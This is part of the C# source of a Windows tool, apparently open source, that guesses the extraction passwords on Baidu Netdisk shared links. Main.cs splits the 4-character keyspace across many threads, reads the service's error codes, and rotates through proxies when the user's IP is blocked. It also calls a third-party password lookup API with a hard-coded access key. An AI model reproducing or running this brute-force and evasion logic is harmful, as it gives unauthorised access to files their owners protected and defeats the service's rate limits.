this.txt_xczs.Location = new System.Drawing.Point(10, 20);
this.txt_xczs.Name = "txt_xczs";
this.txt_xczs.Size = new System.Drawing.Size(65, 12);
this.txt_xczs.TabIndex = 0;
this.txt_xczs.Text = "线程总数:";
//
// txt_jsd
//
this.txt_jsd.AutoSize = true;
this.txt_jsd.Location = new System.Drawing.Point(232, 46);
this.txt_jsd.Name = "txt_jsd";
this.txt_jsd.Size = new System.Drawing.Size(77, 12);
this.txt_jsd.TabIndex = 3;
this.txt_jsd.Text = "密码结束点:";
//
// txt_ksd
//
this.txt_ksd.AutoSize = true;
this.txt_ksd.Location = new System.Drawing.Point(10, 46);
this.txt_ksd.Name = "txt_ksd";
this.txt_ksd.Size = new System.Drawing.Size(77, 12);
this.txt_ksd.TabIndex = 2;
this.txt_ksd.Text = "密码开始点:";
//
// txt_ts
//
this.txt_ts.ForeColor = System.Drawing.Color.Red;
this.txt_ts.Location = new System.Drawing.Point(12, 163);
this.txt_ts.Name = "txt_ts";
this.txt_ts.Size = new System.Drawing.Size(460, 45);
this.txt_ts.TabIndex = 8;
this.txt_ts.Text = "程序:百度网盘分享文件密码分析器 V 1.8.1.0\r\n\r\n开源地址:https://github.com/zgcwkj/TestBaiduPassword";
this.txt_ts.Click += new System.EventHandler(this.txt_ts_Click);
//
// btn_start
//
this.btn_start.Font = new System.Drawing.Font("宋体", 14F, System.Drawing.FontStyle.Bold);
this.btn_start.ForeColor = System.Drawing.Color.FromArgb(((int)(((byte)(192)))), ((int)(((byte)(0)))), ((int)(((byte)(192)))));
this.btn_start.Location = new System.Drawing.Point(12, 113);
this.btn_start.Name = "btn_start";
this.btn_start.Size = new System.Drawing.Size(234, 44);
this.btn_start.TabIndex = 3;
this.btn_start.Text = "打开/生成 解决方案";
this.btn_start.UseVisualStyleBackColor = true;
this.btn_start.Click += new System.EventHandler(this.btn_start_Click);
//
// btn_status
//
this.btn_status.Enabled = false;
this.btn_status.Font = new System.Drawing.Font("宋体", 14F, System.Drawing.FontStyle.Bold);
this.btn_status.ForeColor = System.Drawing.Color.FromArgb(((int)(((byte)(192)))), ((int)(((byte)(0)))), ((int)(((byte)(192)))));
this.btn_status.Location = new System.Drawing.Point(252, 113);
this.btn_status.Name = "btn_status";
this.btn_status.Size = new System.Drawing.Size(94, 44);
this.btn_status.TabIndex = 4;
this.btn_status.Text = "启动";
this.btn_status.UseVisualStyleBackColor = true;
this.btn_status.Click += new System.EventHandler(this.btn_status_Click);
//
// btn_net
//
this.btn_net.Font = new System.Drawing.Font("宋体", 14F, System.Drawing.FontStyle.Bold);
this.btn_net.ForeColor = System.Drawing.Color.FromArgb(((int)(((byte)(255)))), ((int)(((byte)(128)))), ((int)(((byte)(0)))));
this.btn_net.Location = new System.Drawing.Point(364, 113);
this.btn_net.Name = "btn_net";
this.btn_net.Size = new System.Drawing.Size(108, 44);
this.btn_net.TabIndex = 5;
this.btn_net.Text = "联网查密";
this.btn_net.UseVisualStyleBackColor = true;
this.btn_net.Click += new System.EventHandler(this.btn_net_Click);
//
// cB_ktwo
//
this.cB_ktwo.AutoSize = true;
this.cB_ktwo.Location = new System.Drawing.Point(263, 216);
this.cB_ktwo.Name = "cB_ktwo";
this.cB_ktwo.Size = new System.Drawing.Size(192, 16);
this.cB_ktwo.TabIndex = 10;
this.cB_ktwo.Text = "使用 kTWO 提供的自动代理服务";
this.cB_ktwo.UseVisualStyleBackColor = true;
this.cB_ktwo.CheckedChanged += new System.EventHandler(this.cB_ktwo_CheckedChanged);
//
// cB_mxwxz
//
this.cB_mxwxz.AutoSize = true;
this.cB_mxwxz.Checked = true;
this.cB_mxwxz.CheckState = System.Windows.Forms.CheckState.Checked;
this.cB_mxwxz.Location = new System.Drawing.Point(10, 216);
this.cB_mxwxz.Name = "cB_mxwxz";
this.cB_mxwxz.Size = new System.Drawing.Size(240, 16);
this.cB_mxwxz.TabIndex = 10;
this.cB_mxwxz.Text = "使用 MXWXZ 的数据提交和哈希排序 方案";
this.cB_mxwxz.UseVisualStyleBackColor = true;
//
// CB_zgcwkj
//
this.CB_zgcwkj.AutoSize = true;
this.CB_zgcwkj.Checked = true;
this.CB_zgcwkj.CheckState = System.Windows.Forms.CheckState.Checked;
this.CB_zgcwkj.Enabled = false;
this.CB_zgcwkj.Location = new System.Drawing.Point(10, 243);
this.CB_zgcwkj.Name = "CB_zgcwkj";
this.CB_zgcwkj.Size = new System.Drawing.Size(210, 16);
this.CB_zgcwkj.TabIndex = 11;
this.CB_zgcwkj.Text = "使用 zgcwkj 提供的多线程等 方案";
this.CB_zgcwkj.UseVisualStyleBackColor = true;
//
// cB_ypsuperkey
//
this.cB_ypsuperkey.AutoSize = true;
this.cB_ypsuperkey.Checked = true;
this.cB_ypsuperkey.CheckState = System.Windows.Forms.CheckState.Checked;
this.cB_ypsuperkey.Location = new System.Drawing.Point(263, 243);
this.cB_ypsuperkey.Name = "cB_ypsuperkey";
this.cB_ypsuperkey.Size = new System.Drawing.Size(216, 16);
this.cB_ypsuperkey.TabIndex = 12;
this.cB_ypsuperkey.Text = "使用 云盘万能钥匙 提供放接口服务";
this.cB_ypsuperkey.UseVisualStyleBackColor = true;
//
// Main
//
this.AutoScaleDimensions = new System.Drawing.SizeF(6F, 12F);
this.AutoScaleMode = System.Windows.Forms.AutoScaleMode.Font;
this.ClientSize = new System.Drawing.Size(484, 241);
this.Controls.Add(this.cB_ypsuperkey);
this.Controls.Add(this.CB_zgcwkj);
this.Controls.Add(this.cB_mxwxz);
this.Controls.Add(this.cB_ktwo);
this.Controls.Add(this.btn_net);
this.Controls.Add(this.btn_status);
this.Controls.Add(this.txt_ts);
this.Controls.Add(this.gb_1);
this.Controls.Add(this.text_url);
this.Controls.Add(this.txt_url);
this.Controls.Add(this.btn_start);
this.Icon = ((System.Drawing.Icon)(resources.GetObject("$this.Icon")));
this.MaximizeBox = false;
this.MaximumSize = new System.Drawing.Size(500, 300);
this.MinimizeBox = false;
this.MinimumSize = new System.Drawing.Size(500, 280);
this.Name = "Main";
this.StartPosition = System.Windows.Forms.FormStartPosition.CenterScreen;
this.Text = "百度网盘分享文件密码分析器";
this.FormClosed += new System.Windows.Forms.FormClosedEventHandler(this.Main_FormClosed);
this.gb_1.ResumeLayout(false);
this.gb_1.PerformLayout();
this.ResumeLayout(false);
this.PerformLayout();
}
#endregion
private System.Windows.Forms.Label txt_url;
private System.Windows.Forms.TextBox text_url;
private System.Windows.Forms.GroupBox gb_1;
private System.Windows.Forms.Label txt_ksd;
private System.Windows.Forms.Label txt_jsd;
private System.Windows.Forms.TextBox text_jsd;
private System.Windows.Forms.TextBox text_ksd;
private System.Windows.Forms.TextBox text_zxsd;
private System.Windows.Forms.TextBox text_xczs;
private System.Windows.Forms.Label txt_zxsd;
private System.Windows.Forms.Label txt_xczs;
private System.Windows.Forms.Label txt_ts;
private System.Windows.Forms.Button btn_start;
private System.Windows.Forms.FolderBrowserDialog fBD;
private System.Windows.Forms.Button btn_status;
private System.Windows.Forms.Button btn_net;
private System.Windows.Forms.CheckBox cB_ktwo;
private System.Windows.Forms.CheckBox cB_mxwxz;
private System.Windows.Forms.CheckBox CB_zgcwkj;
private System.Windows.Forms.CheckBox cB_ypsuperkey;
}
}
================================================
FILE: TestPassword V1.8.1.0/TestPassword/Main.cs
================================================
using System;
using System.IO;
using System.Text.RegularExpressions;
using System.Windows.Forms;
namespace zgcwkj
{
public partial class Main : Form
{
public Main()
{
InitializeComponent();
}
///
/// 解决方案
///
private void btn_start_Click(object sender, EventArgs e)
{
if (fBD.ShowDialog() == DialogResult.OK)
{
#region 防止选择非空文件夹或者不是项目的文件
//把选择的路径赋值给静态变量
StaticClass.file = fBD.SelectedPath;
//把配置文件的路径赋值给静态变量
StaticClass.config = fBD.SelectedPath + "\\Configuration.ini";
//把代理文件的路径赋值给静态变量
StaticClass.proxy = fBD.SelectedPath + "\\proxy.ini";
//获取路径下所有文件
string[] files = Directory.GetFiles(StaticClass.file);
//拒绝选择有文件的文件夹
if (files.Length > 0)
{
if (File.Exists(StaticClass.config))
{
string[] str = File.ReadAllText(StaticClass.config).Split('∆');
text_url.Text = str[0];
text_xczs.Text = str[1];
text_zxsd.Text = str[2];
}
else
{
MessageBox.Show("请务必选择空的文件夹");
return;
}
}
#endregion 防止选择非空文件夹或者不是项目的文件
#region 防止空文本也执行
if (text_url.Text.Trim() == "" || !text_url.Text.Contains("pan.baidu")) { MessageBox.Show("请输入百度云盘链接"); return; }
if (text_xczs.Text == "") { MessageBox.Show("线程总数错误"); return; }
if (text_zxsd.Text == "") { MessageBox.Show("线程执行速度错误"); return; }
if (text_ksd.Text.Length != 4) { MessageBox.Show("密码开始点错误"); return; }
if (text_jsd.Text.Length != 4) { MessageBox.Show("密码结束点错误"); return; }
#endregion 防止空文本也执行
#region 生成配置文件
if (!File.Exists(StaticClass.config))
{
string Configuration;
try
{
Configuration = File.ReadAllText(StaticClass.config);
string[] str = Configuration.Split('∆');
text_url.Text = str[0];
text_xczs.Text = str[1];
text_zxsd.Text = str[2];
}
catch
{
Configuration = text_url.Text + "∆" + text_xczs.Text + "∆" + text_zxsd.Text;
File.Delete(StaticClass.config);
File.AppendAllText(StaticClass.config, Configuration);
}
}
#endregion 生成配置文件
//打开启动按钮
btn_status.Enabled = true;
}
}
///
/// 启动或停止
///
private void btn_status_Click(object sender, EventArgs e)
{
if (!cB_mxwxz.Checked) { MessageBox.Show("请使用 MXWXZ 提供的方案"); return; }
if (btn_status.Text == "停止")
{
btn_status.Text = "启动";
btn_status.Enabled = false;
StaticClass.status = true;
}
else
{
//把分享地址赋值给静态变量
StaticClass.url = text_url.Text;
//设置线程默认状态给静态变量
StaticClass.status = false;
#region 基本的线程
int xczs = Convert.ToInt32(text_xczs.Text);//线程总数
int zxsd = Convert.ToInt32(text_zxsd.Text);//线程速度
int start = Hash.StrTo4Hash(text_ksd.Text);//起始值
int end = Hash.StrTo4Hash(text_jsd.Text);//结束值
int total = end - start + 1;//尝试的总数
int section = total / xczs;//线程的次数
#endregion 基本的线程
#region 预防(防止)线程的总数大于尝试的总数
if (xczs > total)
{
MessageBox.Show("小伙子又想让程序出BUG吗?");
MessageBox.Show("检测到线程的总数大于尝试的总数");
return;
}
#endregion 预防(防止)线程的总数大于尝试的总数
#region 标识程序已经启动
btn_status.Text = "停止";
#endregion 标识程序已经启动
#region 创建线程
for (int i = 1; i <= xczs; i++)
{
int _start = start + section * (i - 1);//一条线程的开始值
int _end = start + section * i;//一条线程的结束值
new HttpThread(this, i.ToString(), _start, _end, zxsd).Start();
}
#endregion 创建线程
}
}
///
/// 联网查密(用到互联网搜索功能)
///
private void btn_net_Click(object sender, EventArgs e)
{
if (!cB_ypsuperkey.Checked) { MessageBox.Show("请使用 云盘万能钥匙 提供的方案"); return; }
if (text_url.Text.Trim() == "" || !text_url.Text.Contains("pan.baidu")) { MessageBox.Show("请输入百度云盘链接"); return; }
MessageBox.Show("本服务由 云盘万能钥匙(www.ypsuperkey.com)提供,本人仅是使用提供的接口");
string info = text_url.Text.Replace("https", "").Replace("http", "").Replace("://pan.baidu.com/", "").Replace("share/init?surl=", "").Replace("s/1", "");
string url = "https://www.ypsuperkey.com/api/items/BDY-" + info + "?access_key=4fxNbkKKJX2pAm3b8AEu2zT5d2MbqGbD&client_version=zg";
string data = StaticClass.HttpGet(url);//请求并获得返回数据
data = "密码为" + Regex.Match(data, "\"access_code\":\".+?\"").Value.ToString().Replace("\"", "").Replace("access_code:", "");
if (data == "密码为") data = "还是老老实实暴密码吧";
MessageBox.Show(data, "提示");
}
#region 委托进行显示数据
private delegate void Modifystr(string str1, string str2);
public void ModifyStr(string str1, string str2)
{
if (InvokeRequired)
{
Modifystr stcb = new Modifystr(ModifyStr);
Invoke(stcb, new object[] { str1, str2 });
}
else
{
txt_ts.Text = str1 + "》正在尝试:" + str2;//显示点啥
File.AppendAllText(StaticClass.file + "/logs.ini", txt_ts.Text + "\r\n");//输出日志
if (str1.Contains("\"errno\":0"))//密码正常
{
StaticClass.status = true;
btn_status.Text = "启动";
MessageBox.Show("密码是:" + str2);
}
else if (str1.Contains("\"errno\":-9"))//密码错误
{
}
else if (str1.Contains("\"errno\":-62"))//要输入验证码
{
}
else//拒绝访问、未知错误
{
if (!StaticClass.status)
{
StaticClass.status = true;
btn_status.Text = "启动";
if (cB_ktwo.Checked)
{
#region 利用代理服务重新跑
try
{
HttpProxy httpProxy = new HttpProxy();
if (httpProxy.startUp(0))
{
btn_status.PerformClick();
}
else
{
MessageBox.Show("代理服务无法启动");
}
}
catch { }
#endregion 利用代理服务重新跑
}
else
{
MessageBox.Show("你的IP被拒绝访问,请稍后重试");
}
}
}
}
}
#endregion 委托进行显示数据
#region 浏览器预览网页
///
/// 跳转到开源页
///
private void txt_ts_Click(object sender, EventArgs e)
{
try { System.Diagnostics.Process.Start("https://github.com/zgcwkj/TestBaiduPassword"); } catch { }
}
#endregion 浏览器预览网页
#region 检验常规数据
///
/// 限制输入
///
private void _KeyPress(object sender, KeyPressEventArgs e)
{
if ((Keys)e.KeyChar >= Keys.D0 && (Keys)e.KeyChar <= Keys.D9 || (Keys)e.KeyChar == Keys.Back) { } else e.Handled = true;
}
///
/// 验证代理IP的文件是否正常
///
private void cB_ktwo_CheckedChanged(object sender, EventArgs e)
{
if (cB_ktwo.Checked)
{
if (StaticClass.proxy == null)
{
MessageBox.Show("请先 选择解决方案");
cB_ktwo.Checked = false;
return;
}
if (!File.Exists(StaticClass.proxy))
{
MessageBox.Show("接下来请注意了");
MessageBox.Show("在记事本弹出的时候请单击确定创建");
MessageBox.Show("填入文本,内容格式为 IP:端号 回车,以此类推");
System.Diagnostics.Process.Start("notepad.exe", StaticClass.proxy);
cB_ktwo.Checked = false;
return;
}
}
}
#endregion 检验常规数据
#region 退出程序
private void Main_FormClosed(object sender, FormClosedEventArgs e)
{
StaticClass.status = false;
new HttpProxy().SwitchOff();
}
#endregion 退出程序
}
}
================================================
FILE: TestPassword V1.8.1.0/TestPassword/Main.resx
================================================
text/microsoft-resx
2.0
System.Resources.ResXResourceReader, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089
System.Resources.ResXResourceWriter, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089
17, 17
33
AAABAAEAAAAAAAEAIADXfQAAFgAAAIlQTkcNChoKAAAADUlIRFIAAAEAAAABAAgGAAAAXHKoZgAAAAlw
SFlzAAALEwAACxMBAJqcGAAAOe5pVFh0WE1MOmNvbS5hZG9iZS54bXAAAAAAADw/eHBhY2tldCBiZWdp
bj0i77u/IiBpZD0iVzVNME1wQ2VoaUh6cmVTek5UY3prYzlkIj8+Cjx4OnhtcG1ldGEgeG1sbnM6eD0i
YWRvYmU6bnM6bWV0YS8iIHg6eG1wdGs9IkFkb2JlIFhNUCBDb3JlIDUuNi1jMTM4IDc5LjE1OTgyNCwg
MjAxNi8wOS8xNC0wMTowOTowMSAgICAgICAgIj4KICAgPHJkZjpSREYgeG1sbnM6cmRmPSJodHRwOi8v
d3d3LnczLm9yZy8xOTk5LzAyLzIyLXJkZi1zeW50YXgtbnMjIj4KICAgICAgPHJkZjpEZXNjcmlwdGlv
biByZGY6YWJvdXQ9IiIKICAgICAgICAgICAgeG1sbnM6eG1wPSJodHRwOi8vbnMuYWRvYmUuY29tL3hh
cC8xLjAvIgogICAgICAgICAgICB4bWxuczpkYz0iaHR0cDovL3B1cmwub3JnL2RjL2VsZW1lbnRzLzEu
MS8iCiAgICAgICAgICAgIHhtbG5zOnBob3Rvc2hvcD0iaHR0cDovL25zLmFkb2JlLmNvbS9waG90b3No
b3AvMS4wLyIKICAgICAgICAgICAgeG1sbnM6eG1wTU09Imh0dHA6Ly9ucy5hZG9iZS5jb20veGFwLzEu
MC9tbS8iCiAgICAgICAgICAgIHhtbG5zOnN0RXZ0PSJodHRwOi8vbnMuYWRvYmUuY29tL3hhcC8xLjAv
c1R5cGUvUmVzb3VyY2VFdmVudCMiCiAgICAgICAgICAgIHhtbG5zOnRpZmY9Imh0dHA6Ly9ucy5hZG9i
ZS5jb20vdGlmZi8xLjAvIgogICAgICAgICAgICB4bWxuczpleGlmPSJodHRwOi8vbnMuYWRvYmUuY29t
L2V4aWYvMS4wLyI+CiAgICAgICAgIDx4bXA6Q3JlYXRvclRvb2w+QWRvYmUgUGhvdG9zaG9wIENDIDIw
MTcgKFdpbmRvd3MpPC94bXA6Q3JlYXRvclRvb2w+CiAgICAgICAgIDx4bXA6Q3JlYXRlRGF0ZT4yMDE3
LTEyLTI4VDExOjE4OjI5KzA4OjAwPC94bXA6Q3JlYXRlRGF0ZT4KICAgICAgICAgPHhtcDpNb2RpZnlE
YXRlPjIwMTctMTItMjhUMTE6MjI6MTYrMDg6MDA8L3htcDpNb2RpZnlEYXRlPgogICAgICAgICA8eG1w
Ok1ldGFkYXRhRGF0ZT4yMDE3LTEyLTI4VDExOjIyOjE2KzA4OjAwPC94bXA6TWV0YWRhdGFEYXRlPgog
ICAgICAgICA8ZGM6Zm9ybWF0PmltYWdlL3BuZzwvZGM6Zm9ybWF0PgogICAgICAgICA8cGhvdG9zaG9w
OkNvbG9yTW9kZT4zPC9waG90b3Nob3A6Q29sb3JNb2RlPgogICAgICAgICA8eG1wTU06SW5zdGFuY2VJ
RD54bXAuaWlkOjA5MjQ3MDk1LWVkMTItZjg0NS04OWU1LWQwYjg5YmFkNTMyMDwveG1wTU06SW5zdGFu
Y2VJRD4KICAgICAgICAgPHhtcE1NOkRvY3VtZW50SUQ+YWRvYmU6ZG9jaWQ6cGhvdG9zaG9wOjQyYTRl
YzRkLWViN2UtMTFlNy04MjNjLWRkYjI5ZTNjOGY5YTwveG1wTU06RG9jdW1lbnRJRD4KICAgICAgICAg
PHhtcE1NOk9yaWdpbmFsRG9jdW1lbnRJRD54bXAuZGlkOjY2MTA3MzA5LWJhZmYtMzE0ZC1iNTU3LWUw
MTVlMWQyYjYzMzwveG1wTU06T3JpZ2luYWxEb2N1bWVudElEPgogICAgICAgICA8eG1wTU06SGlzdG9y
eT4KICAgICAgICAgICAgPHJkZjpTZXE+CiAgICAgICAgICAgICAgIDxyZGY6bGkgcmRmOnBhcnNlVHlw
ZT0iUmVzb3VyY2UiPgogICAgICAgICAgICAgICAgICA8c3RFdnQ6YWN0aW9uPmNyZWF0ZWQ8L3N0RXZ0
OmFjdGlvbj4KICAgICAgICAgICAgICAgICAgPHN0RXZ0Omluc3RhbmNlSUQ+eG1wLmlpZDo2NjEwNzMw
OS1iYWZmLTMxNGQtYjU1Ny1lMDE1ZTFkMmI2MzM8L3N0RXZ0Omluc3RhbmNlSUQ+CiAgICAgICAgICAg
ICAgICAgIDxzdEV2dDp3aGVuPjIwMTctMTItMjhUMTE6MTg6MjkrMDg6MDA8L3N0RXZ0OndoZW4+CiAg
ICAgICAgICAgICAgICAgIDxzdEV2dDpzb2Z0d2FyZUFnZW50PkFkb2JlIFBob3Rvc2hvcCBDQyAyMDE3
IChXaW5kb3dzKTwvc3RFdnQ6c29mdHdhcmVBZ2VudD4KICAgICAgICAgICAgICAgPC9yZGY6bGk+CiAg
ICAgICAgICAgICAgIDxyZGY6bGkgcmRmOnBhcnNlVHlwZT0iUmVzb3VyY2UiPgogICAgICAgICAgICAg
ICAgICA8c3RFdnQ6YWN0aW9uPnNhdmVkPC9zdEV2dDphY3Rpb24+CiAgICAgICAgICAgICAgICAgIDxz
dEV2dDppbnN0YW5jZUlEPnhtcC5paWQ6MDkyNDcwOTUtZWQxMi1mODQ1LTg5ZTUtZDBiODliYWQ1MzIw
PC9zdEV2dDppbnN0YW5jZUlEPgogICAgICAgICAgICAgICAgICA8c3RFdnQ6d2hlbj4yMDE3LTEyLTI4
VDExOjIyOjE2KzA4OjAwPC9zdEV2dDp3aGVuPgogICAgICAgICAgICAgICAgICA8c3RFdnQ6c29mdHdh
cmVBZ2VudD5BZG9iZSBQaG90b3Nob3AgQ0MgMjAxNyAoV2luZG93cyk8L3N0RXZ0OnNvZnR3YXJlQWdl
bnQ+CiAgICAgICAgICAgICAgICAgIDxzdEV2dDpjaGFuZ2VkPi88L3N0RXZ0OmNoYW5nZWQ+CiAgICAg
ICAgICAgICAgIDwvcmRmOmxpPgogICAgICAgICAgICA8L3JkZjpTZXE+CiAgICAgICAgIDwveG1wTU06
SGlzdG9yeT4KICAgICAgICAgPHRpZmY6T3JpZW50YXRpb24+MTwvdGlmZjpPcmllbnRhdGlvbj4KICAg
ICAgICAgPHRpZmY6WFJlc29sdXRpb24+NzIwMDAwLzEwMDAwPC90aWZmOlhSZXNvbHV0aW9uPgogICAg
ICAgICA8dGlmZjpZUmVzb2x1dGlvbj43MjAwMDAvMTAwMDA8L3RpZmY6WVJlc29sdXRpb24+CiAgICAg
ICAgIDx0aWZmOlJlc29sdXRpb25Vbml0PjI8L3RpZmY6UmVzb2x1dGlvblVuaXQ+CiAgICAgICAgIDxl
eGlmOkNvbG9yU3BhY2U+NjU1MzU8L2V4aWY6Q29sb3JTcGFjZT4KICAgICAgICAgPGV4aWY6UGl4ZWxY
RGltZW5zaW9uPjI1NjwvZXhpZjpQaXhlbFhEaW1lbnNpb24+CiAgICAgICAgIDxleGlmOlBpeGVsWURp
bWVuc2lvbj4yNTY8L2V4aWY6UGl4ZWxZRGltZW5zaW9uPgogICAgICA8L3JkZjpEZXNjcmlwdGlvbj4K
ICAgPC9yZGY6UkRGPgo8L3g6eG1wbWV0YT4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgIAogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgCiAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgIAogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgCiAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAKICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgIAogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgCiAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAKICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgIAogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgCiAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAKICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgIAogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAKICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgIAogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAKICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgIAogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAKICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgIAogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAKICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIAogICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAKICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIAogICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAKICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIAogICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAK
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIAogICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIAogICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
